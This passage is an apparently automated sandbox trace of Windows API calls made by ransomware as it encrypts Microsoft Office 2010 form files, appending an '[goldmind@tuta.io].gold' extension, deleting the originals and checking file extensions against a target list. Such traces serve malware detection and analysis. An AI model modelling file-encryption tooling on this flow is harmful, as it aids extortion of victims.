dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0116.055] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2998) returned 1 [0116.055] CloseHandle (hObject=0x3d4) returned 1 [0116.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico")) returned 0x20 [0116.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0116.056] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.056] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0116.057] GetLastError () returned 0x0 [0116.057] ReadFile (in: hFile=0x3d4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0116.067] WriteFile (in: hFile=0x3f8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0116.067] ReadFile (in: hFile=0x3d4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.067] WriteFile (in: hFile=0x3f8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0116.067] SetEndOfFile (hFile=0x3f8) returned 1 [0116.067] CloseHandle (hObject=0x3f8) returned 1 [0116.068] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.068] SetEndOfFile (hFile=0x3d4) returned 1 [0116.069] CloseHandle (hObject=0x3d4) returned 1 [0116.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico")) returned 1 [0116.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0116.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0116.070] lstrlenW (lpString=".doc") returned 4 [0116.070] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.070] lstrlenW (lpString=".docx") returned 5 [0116.070] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0116.070] lstrlenW (lpString=".pdf") returned 4 [0116.070] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.070] lstrlenW (lpString=".xls") returned 4 [0116.070] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.070] lstrlenW (lpString=".xlsx") returned 5 [0116.070] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0116.070] lstrlenW (lpString=".ppt") returned 4 [0116.070] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0116.070] lstrlenW (lpString=".zip") returned 4 [0116.071] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.071] lstrlenW (lpString=".rar") returned 4 [0116.071] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.071] lstrlenW (lpString=".bz2") returned 4 [0116.071] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.071] lstrlenW (lpString=".7z") returned 3 [0116.071] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0116.071] lstrlenW (lpString=".dbf") returned 4 [0116.071] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0116.071] lstrlenW (lpString=".1cd") returned 4 [0116.071] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0116.071] lstrlenW (lpString=".jpg") returned 4 [0116.071] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0116.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0116.071] lstrlenW (lpString=".doc") returned 4 [0116.071] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.071] lstrlenW (lpString=".docx") returned 5 [0116.071] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0116.071] lstrlenW (lpString=".pdf") returned 4 [0116.071] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.071] lstrlenW (lpString=".xls") returned 4 [0116.071] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.071] lstrlenW (lpString=".xlsx") returned 5 [0116.071] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0116.071] lstrlenW (lpString=".ppt") returned 4 [0116.071] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0116.071] lstrlenW (lpString=".zip") returned 4 [0116.071] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.071] lstrlenW (lpString=".rar") returned 4 [0116.071] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.071] lstrlenW (lpString=".bz2") returned 4 [0116.071] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.071] lstrlenW (lpString=".7z") returned 3 [0116.071] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0116.071] lstrlenW (lpString=".dbf") returned 4 [0116.071] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0116.071] lstrlenW (lpString=".1cd") returned 4 [0116.071] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0116.072] lstrlenW (lpString=".jpg") returned 4 [0116.072] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.072] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0116.072] lstrlenW (lpString="SIGNL.ICO") returned 9 [0116.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.076] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1078) returned 1 [0116.076] CloseHandle (hObject=0x38c) returned 1 [0116.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico")) returned 0x20 [0116.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.078] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.078] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0116.083] GetLastError () returned 0x0 [0116.083] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x436, lpOverlapped=0x0) returned 1 [0116.084] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x440, lpOverlapped=0x0) returned 1 [0116.085] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.085] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0116.085] SetEndOfFile (hFile=0x188) returned 1 [0116.085] CloseHandle (hObject=0x188) returned 1 [0116.085] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.085] SetEndOfFile (hFile=0x38c) returned 1 [0116.087] CloseHandle (hObject=0x38c) returned 1 [0116.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico")) returned 1 [0116.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0116.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0116.088] lstrlenW (lpString=".doc") returned 4 [0116.088] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.088] lstrlenW (lpString=".docx") returned 5 [0116.088] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.088] lstrlenW (lpString=".pdf") returned 4 [0116.088] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.088] lstrlenW (lpString=".xls") returned 4 [0116.088] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.088] lstrlenW (lpString=".xlsx") returned 5 [0116.088] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.088] lstrlenW (lpString=".ppt") returned 4 [0116.088] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0116.088] lstrlenW (lpString=".zip") returned 4 [0116.088] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.088] lstrlenW (lpString=".rar") returned 4 [0116.088] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.088] lstrlenW (lpString=".bz2") returned 4 [0116.088] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.088] lstrlenW (lpString=".7z") returned 3 [0116.088] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0116.088] lstrlenW (lpString=".dbf") returned 4 [0116.089] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0116.089] lstrlenW (lpString=".1cd") returned 4 [0116.089] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0116.089] lstrlenW (lpString=".jpg") returned 4 [0116.089] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0116.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0116.089] lstrlenW (lpString=".doc") returned 4 [0116.089] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.089] lstrlenW (lpString=".docx") returned 5 [0116.089] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.089] lstrlenW (lpString=".pdf") returned 4 [0116.089] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.089] lstrlenW (lpString=".xls") returned 4 [0116.089] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.089] lstrlenW (lpString=".xlsx") returned 5 [0116.089] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.089] lstrlenW (lpString=".ppt") returned 4 [0116.089] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0116.089] lstrlenW (lpString=".zip") returned 4 [0116.089] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.089] lstrlenW (lpString=".rar") returned 4 [0116.089] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.089] lstrlenW (lpString=".bz2") returned 4 [0116.089] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.089] lstrlenW (lpString=".7z") returned 3 [0116.089] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0116.089] lstrlenW (lpString=".dbf") returned 4 [0116.089] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0116.089] lstrlenW (lpString=".1cd") returned 4 [0116.089] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0116.089] lstrlenW (lpString=".jpg") returned 4 [0116.089] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.089] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0116.090] lstrlenW (lpString="SIGNS.ICO") returned 9 [0116.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.090] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2998) returned 1 [0116.090] CloseHandle (hObject=0x38c) returned 1 [0116.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico")) returned 0x20 [0116.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.091] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.091] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0116.092] GetLastError () returned 0x0 [0116.092] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0116.093] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0116.093] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.094] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0116.094] SetEndOfFile (hFile=0x188) returned 1 [0116.094] CloseHandle (hObject=0x188) returned 1 [0116.094] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.094] SetEndOfFile (hFile=0x38c) returned 1 [0116.095] CloseHandle (hObject=0x38c) returned 1 [0116.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico")) returned 1 [0116.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0116.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0116.096] lstrlenW (lpString=".doc") returned 4 [0116.096] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.096] lstrlenW (lpString=".docx") returned 5 [0116.097] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0116.097] lstrlenW (lpString=".pdf") returned 4 [0116.097] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.097] lstrlenW (lpString=".xls") returned 4 [0116.097] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.097] lstrlenW (lpString=".xlsx") returned 5 [0116.097] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0116.097] lstrlenW (lpString=".ppt") returned 4 [0116.097] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0116.097] lstrlenW (lpString=".zip") returned 4 [0116.097] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.097] lstrlenW (lpString=".rar") returned 4 [0116.097] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.097] lstrlenW (lpString=".bz2") returned 4 [0116.097] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.097] lstrlenW (lpString=".7z") returned 3 [0116.097] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0116.097] lstrlenW (lpString=".dbf") returned 4 [0116.097] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0116.097] lstrlenW (lpString=".1cd") returned 4 [0116.097] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0116.097] lstrlenW (lpString=".jpg") returned 4 [0116.097] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0116.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0116.097] lstrlenW (lpString=".doc") returned 4 [0116.097] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.097] lstrlenW (lpString=".docx") returned 5 [0116.097] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0116.097] lstrlenW (lpString=".pdf") returned 4 [0116.097] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.097] lstrlenW (lpString=".xls") returned 4 [0116.097] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.097] lstrlenW (lpString=".xlsx") returned 5 [0116.097] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0116.097] lstrlenW (lpString=".ppt") returned 4 [0116.097] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0116.097] lstrlenW (lpString=".zip") returned 4 [0116.097] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.097] lstrlenW (lpString=".rar") returned 4 [0116.097] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.098] lstrlenW (lpString=".bz2") returned 4 [0116.098] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.098] lstrlenW (lpString=".7z") returned 3 [0116.098] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0116.098] lstrlenW (lpString=".dbf") returned 4 [0116.098] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0116.098] lstrlenW (lpString=".1cd") returned 4 [0116.098] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0116.098] lstrlenW (lpString=".jpg") returned 4 [0116.098] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.098] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0116.098] lstrlenW (lpString="SMIMEE.CFG") returned 10 [0116.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.099] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=640) returned 1 [0116.099] CloseHandle (hObject=0x38c) returned 1 [0116.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg")) returned 0x20 [0116.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 